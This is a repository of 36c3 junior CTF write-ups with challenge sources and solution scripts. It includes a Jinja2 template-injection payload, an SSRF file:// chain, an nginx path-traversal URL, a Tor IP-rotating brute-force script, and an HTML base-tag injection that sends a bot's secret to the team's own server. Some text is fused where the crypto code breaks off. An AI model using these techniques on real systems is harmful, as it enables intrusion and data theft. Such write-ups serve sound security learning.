├── scoreboard.jpg ├── stage4-spoaas-pwn-easy ├── stack └── README.md ├── stage5-injector-web-medium ├── code.pyc └── README.md ├── stage3-querying-web-medium ├── dist.tar.gz ├── solution.sh └── README.md ├── stage1-maybe-rev-medium ├── chal1-a27148a64d65f6d6fd062a09468c4003 ├── preparation.c ├── original_source.c └── README.md ├── README.md ├── stage4-travel-web-easy ├── nginx.conf └── README.md ├── stage2-double-web-easy ├── server.py └── README.md ├── stage1-tracer-for-easy ├── README.md └── onlyRead ├── stage5-flagfriendly-web-medium ├── flagfriendly.py ├── echoserver.py └── README.md ├── stage2-small-crypto-easy └── README.md └── stage3-ikuchen-pwn-medium └── README.md /scoreboard.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/randombenj/36c3-ctf/HEAD/scoreboard.jpg -------------------------------------------------------------------------------- /stage4-spoaas-pwn-easy/stack: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/randombenj/36c3-ctf/HEAD/stage4-spoaas-pwn-easy/stack -------------------------------------------------------------------------------- /stage5-injector-web-medium/code.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/randombenj/36c3-ctf/HEAD/stage5-injector-web-medium/code.pyc -------------------------------------------------------------------------------- /stage3-querying-web-medium/dist.tar.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/randombenj/36c3-ctf/HEAD/stage3-querying-web-medium/dist.tar.gz -------------------------------------------------------------------------------- /stage1-maybe-rev-medium/chal1-a27148a64d65f6d6fd062a09468c4003: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/randombenj/36c3-ctf/HEAD/stage1-maybe-rev-medium/chal1-a27148a64d65f6d6fd062a09468c4003 -------------------------------------------------------------------------------- /stage1-maybe-rev-medium/preparation.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | int main() 4 | { 5 | int index; 6 | char flag[] = "junior-totally_the_flag_or_maybe_not"; 7 | 8 | // some obvuscation (so the 'junior-' won't be changed otherwise 9 | index = 0; 10 | while (index < 0x24) 11 | { 12 | flag[index] = flag[0x23 - index]; 13 | index = index + 1; 14 | } 15 | 16 | printf(flag); 17 | 18 | // check of the input 19 | 20 | 21 | } 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # 36c3-ctf 2 | 3 | *This repository contanins documentation of how we've solved some of the 36c3 junior ctf challenges.* 4 | 5 | You can find a folder for every challenge including some prerequisites. 6 | 7 | All the challenges can be found on https://kuchenblech.xyz/ 8 | 9 | Thanks to the collaborators: 10 | 11 | - [@dev-jan](https://github.com/dev-jan) 12 | - [@eddex](https://github.com/eddex) 13 | - [@Lextum](https://github.com/Lextum) 14 | 15 | 16 | ## Scoreboard 17 | 18 | We managed to place ourselves on rank 44 from a total of 817 registered teams (237 teams solved at least 1 challenge) 19 | 20 | ![scoreboard.jpg](scoreboard.jpg) -------------------------------------------------------------------------------- /stage4-travel-web-easy/nginx.conf: -------------------------------------------------------------------------------- 1 | user www-data; 2 | worker_processes auto; 3 | pid /run/nginx.pid; 4 | include /etc/nginx/modules-enabled/*.conf; 5 | daemon off; 6 | 7 | events { 8 | worker_connections 768; 9 | # multi_accept on; 10 | } 11 | 12 | http { 13 | sendfile on; 14 | tcp_nopush on; 15 | tcp_nodelay on; 16 | keepalive_timeout 65; 17 | types_hash_max_size 2048; 18 | # server_tokens off; 19 | 20 | ssl_prefer_server_ciphers on; 21 | access_log /dev/null; 22 | error_log /error.log; 23 | gzip on; 24 | 25 | server { 26 | listen 8081; 27 | 28 | root /nginx; 29 | index index.html; 30 | 31 | location /flag { 32 | alias /nginx/; 33 | } 34 | } 35 | } 36 | -------------------------------------------------------------------------------- /stage2-double-web-easy/server.py: -------------------------------------------------------------------------------- 1 | import string 2 | import urllib2 3 | from bottle import route, run, post, get, request 4 | 5 | @get('/') 6 | def index(): 7 | with open(__file__) as f: 8 | return '
' + "".join({'<':'<','>':'>'}.get(c,c) for c in f.read()) + '
' 9 | 10 | 11 | @post('/isup') 12 | @get('/isup') 13 | def isup(): 14 | try: 15 | name = request.params.get('name', None) 16 | ip = request.environ.get('REMOTE_ADDR') 17 | is_remote = not (ip.startswith('127') or ip.startswith('172')) 18 | 19 | is_valid = all(x in name for x in ['http', 'kuchenblech']) 20 | if is_remote and not is_valid: 21 | raise Exception 22 | result = urllib2.urlopen(name).read() 23 | return result 24 | except: 25 | return 'Error' 26 | 27 | run(host='0.0.0.0', server="paste", port=8080, reloader=False) 28 | -------------------------------------------------------------------------------- /stage1-tracer-for-easy/README.md: -------------------------------------------------------------------------------- 1 | # Stage 2: tracer - for - easy 2 | 3 | ## Challenge 4 | 5 | Tracing the Kuchenblech-Mafia is hard! 6 | 7 | Attachment (file chal2-98f6917950f95448890949f2d9b9850a) 8 | 9 | ## Solution 10 | 11 | The file contains an strace output of a user that installs vim and type the 12 | flag in and saves it. To make it a bit more readable, all output before 13 | the input of a "j" and be ignored, as we know the flag starts with a "j". 14 | Also only the "read" commands must be considered, all others can be ignored. 15 | The file "onlyRead" only contains the important keystrokes. To reproduce the 16 | flag, just type in all the keys in VIM again. The following special characters 17 | must be considered: 18 | 19 | ``` 20 | \r => ENTER 21 | \33 => ESCAPE 22 | \177 => BACKSPACE 23 | ``` 24 | 25 | After typing that, the flag is visible in the own vim editor: junior-nanoiswayBETTER! 26 | -------------------------------------------------------------------------------- /stage5-injector-web-medium/README.md: -------------------------------------------------------------------------------- 1 | # Stage 5: injector - web - medium 2 | 3 | ## Challenge 4 | 5 | Hack me hard at: http://45.76.80.234:8082/ 6 | 7 | ## Solution 8 | 9 | The index page returned a pyc file, but it had errors from some html escapes. 10 | We somehow failed to decompile the file :( 11 | 12 | The server itself uses jinja2 at /echo to render the parameter "s" to a page. 13 | This parameter is vulnerable to template injection. The PayloadsAllTheThings 14 | repository already offers nearly ready to use injections here: 15 | https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2 16 | 17 | The following code will print the file at "/flag": 18 | 19 | ``` 20 | http://45.76.80.234:8082/echo?s={{request.args.param.__class__.__mro__[2].__subclasses__()[40](request.args.param).read()}}¶m=/flag 21 | 22 | You entered: junior-inject_it_like_its_hot 23 | 24 | ``` 25 | -------------------------------------------------------------------------------- /stage3-querying-web-medium/solution.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | known="junior-" 4 | count=$(echo $known | wc -c) 5 | echo "next letter #: $count" 6 | while true 7 | do 8 | for x in e t a o i n s h r d l u w m f c g y p b k v j x q 0 1 2 3 4 5 6 7 8 9 E T A O I N S H R D L U W M F C G Y P B K V J X Q _ - 9 | do 10 | (echo authenticate '""'; echo signal newnym; echo quit) | nc localhost 9151 11 | sleep 1 12 | flag=$known$x 13 | OUT=$(curl 'http://199.247.4.207:4000/' \ 14 | -s --socks5-hostname localhost:9150 \ 15 | -H 'content-type: application/json' \ 16 | -H 'admin: true' -H 'admin: false' \ 17 | --data '{"query":"mutation {checkFlag(flag: \"'$flag'\")}"}') 18 | echo $OUT 19 | if echo "$OUT" | grep -q "$count"; then 20 | echo "$flag -> MATCH!!!!!!" 21 | known=$flag 22 | count=$(echo $known | wc -c) 23 | break 24 | else 25 | echo "$flag -> no match" 26 | fi 27 | done 28 | done 29 | -------------------------------------------------------------------------------- /stage2-double-web-easy/README.md: -------------------------------------------------------------------------------- 1 | # Stage 2: double - web - easy 2 | 3 | ## Challenge 4 | 5 | Get the /flag at http://108.61.211.185/ 6 | 7 | ## Solution 8 | 9 | The server under the given URL response with his source code (see server.py). As 10 | the server runs under port 8080, but is accessible under the http standard port, 11 | we can assume that some kind of reverve proxy is in place. This is important, as 12 | this means the first check will check if the request comes from a local address. 13 | The /isup endpoint is able to forward a website, but the url must contains 14 | the words "http" and "kuchenblech". 15 | 16 | So we can simply view the page of the CTF: 17 | 18 | ``` 19 | http://108.61.211.185/isup?name=http://kuchenblech.xyz 20 | ``` 21 | 22 | To get the file at /flag, we use the file protocol. To ensure, that the words 23 | "http" and "kuchenblech" appears in the URL, we just make a double request: 24 | 25 | ``` 26 | http://108.61.211.185/isup?name=http://108.61.211.185/isup?kuchenblech=a%26name=file:///../../../../../flag 27 | ``` 28 | 29 | This URL returns the flag: junior-double_or_noth1ng 30 | -------------------------------------------------------------------------------- /stage4-travel-web-easy/README.md: -------------------------------------------------------------------------------- 1 | # Stage 3: travel - web - easy 2 | 3 | ## Challenge 4 | 5 | Fun climbing up: http://108.61.211.185:8081/ 6 | 7 | ## Solution 8 | 9 | The nginx configuration showed in the root of the given server has some strange 10 | configuration of the /flag location. See nginx.conf for the full configuration. 11 | 12 | The location does not end with a "/", so it is vulnerable to directory traversal. 13 | With this knowledge, are able to read files outside of the directory. To do this, 14 | the following URL is used: 15 | 16 | ``` 17 | http://108.61.211.185:8081/flag../flag 18 | ``` 19 | 20 | This URL will open the flag file, regarding of the location configuration in 21 | nginx. This will show the flag: 22 | 23 | ``` 24 | root@blackbox: # curl -v http://108.61.211.185:8081/flag../flag 25 | * Trying 108.61.211.185... 26 | * TCP_NODELAY set 27 | * Connected to 108.61.211.185 (108.61.211.185) port 8081 (#0) 28 | > GET /flag../flag HTTP/1.1 29 | > Host: 108.61.211.185:8081 30 | > User-Agent: curl/7.62.0 31 | > Accept: */* 32 | > 33 | < HTTP/1.1 200 OK 34 | < Server: nginx/1.14.0 (Ubuntu) 35 | < Date: Sun, 29 Dec 2019 12:10:48 GMT 36 | < Content-Type: text/plain 37 | < Content-Length: 23 38 | < Last-Modified: Fri, 27 Dec 2019 15:42:14 GMT 39 | < Connection: keep-alive 40 | < ETag: "5e062656-17" 41 | < Accept-Ranges: bytes 42 | < 43 | junior-the_easy_way_up 44 | ``` 45 | -------------------------------------------------------------------------------- /stage5-flagfriendly-web-medium/flagfriendly.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import requests 3 | from flag import flag 4 | from flask import Flask, request, redirect, make_response 5 | 6 | app = Flask(__name__) 7 | 8 | 9 | @app.route("/", methods=["GET"]) 10 | def index(): 11 | title = request.args.get("title", default="Flags for Friendly Fellows", type=str) 12 | print("Flag cookie:", request.cookies.get("flag")) 13 | if request.cookies.get("flag") == flag: 14 | # Make sure the filename never leaks! 15 | path = flag 16 | else: 17 | path = "static/flag" 18 | response = make_response( 19 | f""" 20 | 21 | 22 | {title} 23 | 24 | 25 |

{title}

26 | 27 | 28 | """ 29 | ) 30 | response.headers["Content-Security-Policy"] = "img-src *; default-src 'none';" 31 | return response 32 | 33 | 34 | @app.route("/report") 35 | def report(): 36 | """ 37 | This can be used to make bots surf this site. 38 | Bots will have the flag cookie set accordingly. 39 | """ 40 | url = request.args.get("url", default="", type=str) 41 | if not url: 42 | return "No url parameter provided to surf to" 43 | return requests.get(f"http://surfer:8075?url={url}").text 44 | 45 | 46 | @app.route(f"/{flag}.gif") 47 | def show_gif(): 48 | return redirect("/static/flag.gif") 49 | 50 | 51 | if __name__ == "__main__": 52 | app.run() 53 | -------------------------------------------------------------------------------- /stage3-querying-web-medium/README.md: -------------------------------------------------------------------------------- 1 | # Stage 3: querying - web - medium 2 | 3 | ## Challenge 4 | 5 | In German, Graf means count. Anyway I'm certain he likes pie. Who doesn't? He also won't give you the Flag as he keeps track of every request. Nothing to see here, please move along. http://199.247.4.207:4000/ 6 | 7 | ## Solution 8 | 9 | The graphql server presents a mutation query to give a flag and the return integer 10 | shows, how many letters match the flag. The bad part: This request is rate limited 11 | per IP, so brute force is not really an option here, except there is a problem in 12 | the bruteforce prevention. 13 | 14 | The mutation requries a header to be sent with the request. The header key must be `admin`, the value can be anything. 15 | 16 | As we try out different thinks to trick the bruteforce prevention, we were very 17 | desperate and just brute force the flag with the help of our good friend Tor. After 18 | every request, we than ask Tor to give us a new IP. This is a very hacky solution, 19 | but it worked for us and after about 15 minutes, we get the flag! 20 | 21 | Flag: junior-Batching_Qu3r1e5_is_FUN1 22 | 23 | After reading the flag, we realize, the solution would be a lot easier if we just 24 | pass multiple mutation queries in one http request to the graphql server like this: 25 | 26 | ``` 27 | mutation { 28 | var1: checkFlag(flag: "junior-Batching_Qu3r1e5_i"), 29 | var2: checkFlag(flag: "junior-Batching_Qu3r1e5_is_FUN1") 30 | } 31 | ``` 32 | 33 | With this knowledge, a script that checks every possible next letter at once would be 34 | a lot faster and maybe the intended solution :) 35 | -------------------------------------------------------------------------------- /stage5-flagfriendly-web-medium/echoserver.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Reflects the requests from HTTP methods GET, POST, PUT, and DELETE 3 | # Written by Nathan Hamiel (2010) 4 | 5 | from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler 6 | from optparse import OptionParser 7 | 8 | class RequestHandler(BaseHTTPRequestHandler): 9 | 10 | def do_GET(self): 11 | 12 | request_path = self.path 13 | 14 | print("\n----- Request Start ----->\n") 15 | print(request_path) 16 | print(self.headers) 17 | print("<----- Request End -----\n") 18 | 19 | self.send_response(200) 20 | self.send_header("Set-Cookie", "foo=bar") 21 | 22 | def do_POST(self): 23 | 24 | request_path = self.path 25 | 26 | print("\n----- Request Start ----->\n") 27 | print(request_path) 28 | 29 | request_headers = self.headers 30 | content_length = request_headers.getheaders('content-length') 31 | length = int(content_length[0]) if content_length else 0 32 | 33 | print(request_headers) 34 | print(self.rfile.read(length)) 35 | print("<----- Request End -----\n") 36 | 37 | self.send_response(200) 38 | 39 | do_PUT = do_POST 40 | do_DELETE = do_GET 41 | 42 | def main(): 43 | port = 8080 44 | print('Listening on localhost:%s' % port) 45 | server = HTTPServer(('', port), RequestHandler) 46 | server.serve_forever() 47 | 48 | 49 | if __name__ == "__main__": 50 | parser = OptionParser() 51 | parser.usage = ("Creates an http-server that will echo out any GET or POST parameters\n" 52 | "Run:\n\n" 53 | " reflect") 54 | (options, args) = parser.parse_args() 55 | 56 | main() 57 | -------------------------------------------------------------------------------- /stage1-maybe-rev-medium/original_source.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | void before(void) __attribute__ ((constructor)); 7 | void after(void) __attribute__ ((destructor)); 8 | 9 | char whoop[] = "junior-totally_the_flag_or_maybe_not"; 10 | char arg[] = " "; 11 | char who[] = \ 12 | "\x00\x1e" \ 13 | "\x00\x1a" \ 14 | "\x00\x00" \ 15 | "\x00""6" \ 16 | "\x00""\n" \ 17 | "\x00\x10" \ 18 | "\x00""T" \ 19 | "\x00\x00" \ 20 | "\x00\x01" \ 21 | "\x00""3" \ 22 | "\x00\x17" \ 23 | "\x00\x1c" \ 24 | "\x00\x00" \ 25 | "\x00""\t" \ 26 | "\x00\x14" \ 27 | "\x00\x1e" \ 28 | "\x00""9" \ 29 | "\x00""4" \ 30 | "\x00""*" \ 31 | "\x00\x05" \ 32 | "\x00\x04" \ 33 | "\x00\x04" \ 34 | "\x00""\t" \ 35 | "\x00""=" \ 36 | "\x00\x03" \ 37 | "\x00\x17" \ 38 | "\x00""<" \ 39 | "\x00\x05" \ 40 | "\x00"">" \ 41 | "\x00\x14" \ 42 | "\x00\x03" \ 43 | "\x00\x03" \ 44 | "\x00""6" \ 45 | "\x00\x0f" \ 46 | "\x00""N" \ 47 | "\x00""U"; 48 | 49 | void before(void) 50 | { 51 | for(int i = 0; i < 36; i++) { 52 | whoop[i] = whoop[35-i]; 53 | } 54 | } 55 | 56 | void after(void) 57 | { 58 | for(int i = 0; i < 36; i++) { 59 | whoop[i] ^= arg[i]; 60 | } 61 | 62 | int cor = 1; 63 | for(int i = 0; i < 36; i++) { 64 | if(whoop[i] != who[2*i+1]) 65 | cor = 0; 66 | } 67 | sleep(10); 68 | printf("aber es ist nur noch eine sache von sekunden!\n"); 69 | if (cor) 70 | printf("correct!\n"); 71 | } 72 | 73 | int main(int argc, char **argv) 74 | { 75 | for(int i = 0; i < 36; i++) { 76 | whoop[i + 64] = argv[1][i]; 77 | // nops 78 | whoop[i] = (100 + (whoop[i] % 256) + 156) % 128; 79 | int div = 32; 80 | div += 1; 81 | div *= 1; 82 | whoop[i] = whoop[i] ^ ((uint32_t)whoop[i]) << (div / 7) << 29; 83 | // end nops 84 | } 85 | if(whoop == "this_should_totally_be_a_hering_on_a_kuchenblech") 86 | printf("correct!\n"); 87 | else 88 | printf("wrong!\n"); 89 | return 0; 90 | } 91 | -------------------------------------------------------------------------------- /stage2-small-crypto-easy/README.md: -------------------------------------------------------------------------------- 1 | # Stage 2: small - crypto - easy 2 | 3 | ## Challenge 4 | 5 | When things are small you have to be carefull! UPDATE: New attachment! 6 | ``` 7 | message = int('REDACTED', base=35) 8 | N = 31882864753733457706900355195561745936205728163688545344755624355885302677527509480805991969514641856022311950710014654686332759895303124949904557581766107448945073828773339824936328117599459705430379854436444155104737774883908742430619368768337640156577480749932446289330171110268995901030116001751822218657 9 | c = message^3 % N 10 | # c = 272712645051843502864020676686837219546440933810920336253597504130258033336636323130656292878088405243095416128 11 | 12 | The message is the flag. No flag format. 13 | ``` 14 | 15 | ## Solution 16 | 17 | This challenge was similar to one of last year's junior CTF. 18 | 19 | See: https://github.com/randombenj/35c3-ctf/tree/master/crypto/decrypted 20 | 21 | In Chrome's console run: 22 | ```JavaScript 23 | function cubicRoot(a) 24 | { 25 | let d = Math.floor((a.toString(2).length-1)/3); // binary digits nuber / 3 26 | let r = 2n ** BigInt(d+1); // right boundary approximation 27 | let l = 2n ** BigInt(d); // left boundary approximation 28 | let x=BigInt(l); 29 | let o=BigInt(0); // old historical value 30 | 31 | while(1) { 32 | o = x; 33 | y = x * x * x; 34 | y that will call the given url 14 | with a headless chrome. The result is not returned, only the string "done" if 15 | the request worked. 16 | 17 | The flag is hidden in the python webserver and if the given cookie "flag" is equal to 18 | saved flag, the server will use the flag as the path to the GIF on the site. 19 | 20 | So if we request the index page via the /report endpoint, the flag is in the HTML 21 | source code, but not showed. So the following request contains the flag, but is 22 | not shown: 23 | 24 | ``` 25 | root@blackbox:# curl -v "http://45.76.92.221:8070/report?url=http://45.76.92.221:8070/?title=OurOwnTitle" 26 | * Trying 45.76.92.221... 27 | * TCP_NODELAY set 28 | * Connected to 45.76.92.221 (45.76.92.221) port 8070 (#0) 29 | > GET /report?url=http://45.76.92.221:8070/ HTTP/1.1 30 | > Host: 45.76.92.221:8070 31 | > User-Agent: curl/7.62.0 32 | > Accept: */* 33 | > 34 | < HTTP/1.1 200 OK 35 | < Server: gunicorn/20.0.4 36 | < Date: Sun, 29 Dec 2019 20:30:10 GMT 37 | < Connection: close 38 | < Content-Type: text/html; charset=utf-8 39 | < Content-Length: 4 40 | < 41 | * Closing connection 0 42 | done 43 | ``` 44 | 45 | As we can inject html code with the title parameter, we can inject a special html 46 | element in the header to "redirect" the relative loading of the gif to our own server. 47 | To to this, lets assume our server runs under http://151.217.238.34:8080. So lets 48 | inject the following html pice: 49 | 50 | ``` 51 | 52 | ``` 53 | 54 | The final request: 55 | 56 | ``` 57 | curl -v "http://45.76.92.221:8070/report?url=http://45.76.92.221:8070/?title=%3C/title%3E%3Cbase%20href=%22http://151.217.238.34:8080%22%3E" 58 | ``` 59 | 60 | In our server log (done with echoserver.py), we see the request from the headless 61 | chrome containing the flag: 62 | 63 | ``` 64 | ----- Request Start -----> 65 | 66 | /junior-CSP_THE_C_IS_FOR_CYBER.gif 67 | Host: 151.217.238.34:8080 68 | Connection: keep-alive 69 | Pragma: no-cache 70 | Cache-Control: no-cache 71 | User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/79.0.3945.0 Safari/537.36 72 | Accept: image/webp,image/apng,image/*,*/*;q=0.8 73 | Referer: http://45.76.92.221:8070/?title=%3C/title%3E%3Cbase%20href=%22http://151.217.238.34:8080%22%3E 74 | Accept-Encoding: gzip, deflate 75 | 76 | ``` 77 | -------------------------------------------------------------------------------- /stage1-tracer-for-easy/onlyRead: -------------------------------------------------------------------------------- 1 | 541 read(0, "j", 4096) = 1 2 | 541 read(0, "\r", 4096) = 1 3 | 541 read(0, "\r", 4096) = 1 4 | 541 read(0, "\r", 4096) = 1 5 | 541 read(0, "u", 4096) = 1 6 | 541 read(0, "n", 4096) = 1 7 | 541 read(0, "\r", 4096) = 1 8 | 541 read(0, "\r", 4096) = 1 9 | 541 read(0, "i", 4096) = 1 10 | 541 read(0, "o", 4096) = 1 11 | 541 read(0, "\r", 4096) = 1 12 | 541 read(0, "r", 4096) = 1 13 | 541 read(0, "-", 4096) = 1 14 | 541 read(0, "\r", 4096) = 1 15 | 541 read(0, "n", 4096) = 1 16 | 541 read(0, "a", 4096) = 1 17 | 541 read(0, "\33", 4096) = 1 18 | 541 read(0, "y", 4096) = 1 19 | 541 read(0, "y", 4096) = 1 20 | 541 read(0, "p", 4096) = 1 21 | 541 read(0, "A", 4096) = 1 22 | 541 read(0, "\177", 4096) = 1 23 | 541 read(0, "o", 4096) = 1 24 | 541 read(0, "\r", 4096) = 1 25 | 541 read(0, "\r", 4096) = 1 26 | 541 read(0, "i", 4096) = 1 27 | 541 read(0, "\r", 4096) = 1 28 | 541 read(0, "s", 4096) = 1 29 | 541 read(0, "\r", 4096) = 1 30 | 541 read(0, "\r", 4096) = 1 31 | 541 read(0, "w", 4096) = 1 32 | 541 read(0, "a", 4096) = 1 33 | 541 read(0, "\r", 4096) = 1 34 | 541 read(0, "y", 4096) = 1 35 | 541 read(0, "\r", 4096) = 1 36 | 541 read(0, "b", 4096) = 1 37 | 541 read(0, "e", 4096) = 1 38 | 541 read(0, "\r", 4096) = 1 39 | 541 read(0, "t", 4096) = 1 40 | 541 read(0, "t", 4096) = 1 41 | 541 read(0, "e", 4096) = 1 42 | 541 read(0, "\r", 4096) = 1 43 | 541 read(0, "\r", 4096) = 1 44 | 541 read(0, "r", 4096) = 1 45 | 541 read(0, "!", 4096) = 1 46 | 541 read(0, "\33", 4096) = 1 47 | 541 read(0, "g", 4096) = 1 48 | 541 read(0, "g", 4096) = 1 49 | 541 read(0, "J", 4096) = 1 50 | 541 read(0, "J", 4096) = 1 51 | 541 read(0, "J", 4096) = 1 52 | 541 read(0, "J", 4096) = 1 53 | 541 read(0, "J", 4096) = 1 54 | 541 read(0, "J", 4096) = 1 55 | 541 read(0, "J", 4096) = 1 56 | 541 read(0, "J", 4096) = 1 57 | 541 read(0, "J", 4096) = 1 58 | 541 read(0, "J", 4096) = 1 59 | 541 read(0, "J", 4096) = 1 60 | 541 read(0, "J", 4096) = 1 61 | 541 read(0, "J", 4096) = 1 62 | 541 read(0, "J", 4096) = 1 63 | 541 read(0, "J", 4096) = 1 64 | 541 read(0, "J", 4096) = 1 65 | 541 read(0, "J", 4096) = 1 66 | 541 read(0, "J", 4096) = 1 67 | 541 read(0, "b", 4096) = 1 68 | 541 read(0, "b", 4096) = 1 69 | 541 read(0, "~", 4096) = 1 70 | 541 read(0, "~", 4096) = 1 71 | 541 read(0, "~", 4096) = 1 72 | 541 read(0, "~", 4096) = 1 73 | 541 read(0, "~", 4096) = 1 74 | 541 read(0, "~", 4096) = 1 75 | 541 read(0, "~", 4096) = 1 76 | 541 read(0, "~", 4096) = 1 77 | 541 read(0, "\33", 4096) = 1 78 | 541 read(0, ":", 4096) = 1 79 | 541 read(0, "s", 4096) = 1 80 | 541 read(0, "/", 4096) = 1 81 | 541 read(0, " ", 4096) = 1 82 | 541 read(0, "/", 4096) = 1 83 | 541 read(0, "/", 4096) = 1 84 | 541 read(0, "g", 4096) = 1 85 | 541 read(0, "\r", 4096) = 1 86 | 541 read(0, "\33", 4096) = 1 87 | 541 read(0, ":", 4096) = 1 88 | 541 read(0, "w", 4096) = 1 89 | 541 read(0, "q", 4096) = 1 90 | 541 read(0, "\r", 4096) = 1 91 | -------------------------------------------------------------------------------- /stage1-maybe-rev-medium/README.md: -------------------------------------------------------------------------------- 1 | # Stage 1: maybe - rev - medium 2 | 3 | ## Challange 4 | 5 | Das Blech umdrehen! 6 | 7 | ## Solution 8 | 9 | First we can inspect wether there are some interesting strings in the binary: 10 | 11 | ```sh 12 | $ strings chal1-a27148a64d65f6d6fd062a09468c4003 13 | 14 | ... 15 | aber es ist nur noch eine sache von sekunden! 16 | correct! 17 | this_should_totally_be_a_hering_on_a_kuchenblech 18 | wrong! 19 | ;*3$" 20 | junior-totally_the_flag_or_maybe_not 21 | ... 22 | ``` 23 | 24 | And in deed we see some interesting stuff, but obviously this is not the flag. 25 | But what happens in the binary? 26 | 27 | We can have a look at the binary using [cutter](https://github.com/radareorg/cutter). 28 | There we see that the main function does not do much ... obviously there is some other magic going on here. 29 | 30 | Afterwards it turned out that the magic was done with the [__attribute__((constructor))](https://stackoverflow.com/questions/2053029/how-exactly-does-attribute-constructor-work). 31 | 32 | Anyway so when we reverse engineer the binary we get a firt stage doing 33 | something like this: 34 | 35 | ```c 36 | int index; 37 | char flag[] = "junior-totally_the_flag_or_maybe_not"; 38 | 39 | // some obvuscation (so the 'junior-' won't be changed otherwise 40 | index = 0; 41 | while (index < 0x24) 42 | { 43 | flag[index] = flag[0x23 - index]; 44 | index = index + 1; 45 | } 46 | ``` 47 | 48 | This will give us a slightly altered flag: **ton_ebyam_ro_galf__flag_or_maybe_not** 49 | 50 | The second stage will be reverse engineerd to something like this (can be done with cutter): 51 | 52 | ```c 53 | bool is_flag_correct; 54 | int32_t index; 55 | int32_t var_8h; 56 | int32_t check_index; 57 | char flag[] = "junior-totally_the_flag_or_maybe_not"; 58 | char real_flag[] = "..."; 59 | 60 | index = 0; 61 | while (index < 0x24) { 62 | flag[index] = flag[index] ^ real_flag[index]; 63 | index = index + 1; 64 | } 65 | is_flag_correct = true; 66 | check_index = 0; 67 | while (check_index < 0x24) { 68 | if (flag[check_index] != *(char *)((int64_t)(check_index * 2 + 1) + 0x5639462960a0)) { 69 | is_flag_correct = false; 70 | } 71 | check_index = check_index + 1; 72 | } 73 | sym.imp.sleep(10); 74 | sym.imp.puts("aber es ist nur noch eine sache von sekunden!"); 75 | if (is_flag_correct) { 76 | sym.imp.puts("correct!"); 77 | } 78 | ``` 79 | 80 | One statement is quite odd `flag[check_index] != *(char *)((int64_t)(check_index * 2 + 1) + 0x5639462960a0)` 81 | lets analyze this a bit further by looking at the assembly code. 82 | Basically you can see a comparison with some string at a *magic* reference: 83 | 84 | ```asm 85 | │ ╎│ 0x00000775 488d05240920. lea rax, [0x002010a0] 86 | │ ╎│ 0x0000077c 0fb60402 movzx eax, byte [rdx + rax] 87 | │ ╎│ 0x00000780 38c1 cmp cl, al 88 | │ ┌───< 0x00000782 7407 je 0x78b 89 | │ │╎│ 0x00000784 c745f8000000. mov dword [var_8h], 0 90 | │ │╎│ ; CODE XREF from entry.fini1 @ 0x782 91 | │ └───> 0x0000078b 8345fc01 add dword [var_4h], 1 92 | ``` 93 | 94 | Note the **0x002010a0** address in the first assembly line 0x00000775. 95 | This compares with `cmp cl, al` wether the contents match with the input. 96 | 97 | So how do we get this string? We simply debug the programm and write every value in `eax` down, 98 | and reverse the xor in python which should give us the original flag: 99 | 100 | ```python 101 | masq = '\x1e\x1a\x00\x36\x0a\x10\x54\x00\x01\x33\x17\x1c\x00\x09\x14\x1e\x39\x34\x2a\x05\x04\x04\x09\x3d\x03\x17\x3c\x05\x3e\x14\x03\x03\x36\x0f\x4e\x55' 102 | flag = 'ton_ebyam_ro_galf__flag_or_maybe_not' 103 | 104 | def sxor(s1,s2): 105 | # convert strings to a list of character pair tuples 106 | # go through each tuple, converting them to ASCII code (ord) 107 | # perform exclusive or on the ASCII code 108 | # then convert the result back to ASCII (chr) 109 | # merge the resulting array of characters as a string 110 | return ''.join(chr(ord(a) ^ ord(b)) for a,b in zip(s1,s2)) 111 | 112 | sxor(masq, flag) 113 | ``` 114 | 115 | And this will give us the flag! 116 | 117 | **junior-alles_nur_kuchenblech_mafia!!** 118 | 119 | You can find the [original source here](original_source.c). 120 | -------------------------------------------------------------------------------- /stage4-spoaas-pwn-easy/README.md: -------------------------------------------------------------------------------- 1 | # Stage 4: SPOaaS - pwn - easy 2 | 3 | ## Challange 4 | 5 | Welcome to Stack Buffer Overflow as a Service! Since modern mitigations made it more difficult to exploit vulnerabilities, we decided to offer an easy and convenient service for everyone to experience the joy of exploiting a stack-based buffer overflow. Simply enter your data and win! `nc 209.250.235.77 22222` 6 | 7 | ## Solution 8 | 9 | First we can have a look wether the binary contains some interesting strings: 10 | 11 | ```sh 12 | $ strings stack 13 | 14 | ... 15 | []A\A]A^A_ 16 | ------------------------------------------------------------------ 17 | SBOaaS 18 | ------------------------------------------------------------------ 19 | Welcome to Stack Buffer Overflow as a Service 20 | Since modern mitigations made it more difficult to exploit vulnerabilities, 21 | we decided to offer an easy and convenient service for everyone 22 | to experience the joy of exploiting a stack-based buffer overflow. 23 | Simply enter your data and win! 24 | Please enter your data. Good luck! 25 | /bin/bash 26 | Thank you for using SBOaaS :) 27 | ;*3$" 28 | ... 29 | ``` 30 | 31 | In deed we can see that there is a `/bin/bash` in there! 32 | 33 | If we now have a look at the binary using `objdump` and dissassemble it we can see some ineteresting functions: 34 | 35 | ```sh 36 | $ objdump -d stack 37 | 38 | ... 39 | 0000000000400657 : 40 | 400657: 48 81 ec 48 05 00 00 sub $0x548,%rsp 41 | 40065e: 48 8d 3d 23 01 00 00 lea 0x123(%rip),%rdi # 400788 <_IO_stdin_used+0x8> 42 | 400665: e8 b6 fe ff ff callq 400520 43 | 40066a: 48 8d 3d 07 03 00 00 lea 0x307(%rip),%rdi # 400978 <_IO_stdin_used+0x1f8> 44 | 400671: b8 00 00 00 00 mov $0x0,%eax 45 | 400676: e8 b5 fe ff ff callq 400530 46 | 40067b: 48 89 e7 mov %rsp,%rdi 47 | 40067e: e8 cd fe ff ff callq 400550 